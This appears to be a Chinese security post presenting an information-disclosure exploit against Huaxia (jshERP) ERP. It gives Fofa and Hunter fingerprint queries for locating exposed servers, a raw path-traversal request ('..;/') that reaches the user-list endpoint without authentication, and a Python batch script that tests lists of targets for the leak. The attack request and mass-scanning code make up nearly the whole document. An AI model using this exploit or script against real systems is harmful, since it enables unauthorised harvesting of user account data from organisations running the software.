华夏ERP信息泄露漏洞 (附批量验证脚本)

Fofa语法:  icon_hash="978514697" || body="jshERP-boot"Hunter语法:  web.icon=="c68b15c45cf80115a943772f7d0028a6"

GET /jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

# encoding:utf-8import uuidimport requestsimport argparseimport sslimport urllib3import reimport timeimport osfrom requests.exceptions import RequestExceptionfrom urllib3.exceptions import InsecureRequestWarning
# ssl._create_unverified_context：创建一个 SSL 上下文，用于处理 HTTPS 请求时不验证服务器证书的情况。ssl._create_default_https_context = ssl._create_unverified_context# urllib3.disable_warnings()：禁用 urllib3 库的不安全请求警告，即不显示由于不安全的 HTTPS 请求而引发的警告信息。urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 设置打印颜色RED = '�33[31m'GREEN = '�33[32m'RESET = '�33[0m'

def check_vuln(url):    url = url.strip('/')    target_url = url + '/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList'    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}    try:        response = requests.get(target_url, headers=headers, verify=False, timeout=10)        if response.status_code == 200 and 'code' in response.text and 'userList' in response.text and 'id' in response.text:            print(f'{GREEN}[+] {target_url} 存在信息泄露漏洞{RESET}')            return True    except RequestException as e:        pass

def main():    parser = argparse.ArgumentParser()    parser.add_argument("-u", "--url", help="目标URL")    parser.add_argument("-f", "--file", help="目标文件")    args = parser.parse_args()
    if args.url:        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url        check_vuln(args.url)    elif args.file:        with open(args.file, "r") as f:            content = f.read().splitlines()            for url in content:                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url                check_vuln(url)    else:        print("请输入目标URL或目标文件")

if __name__ == "__main__":    main()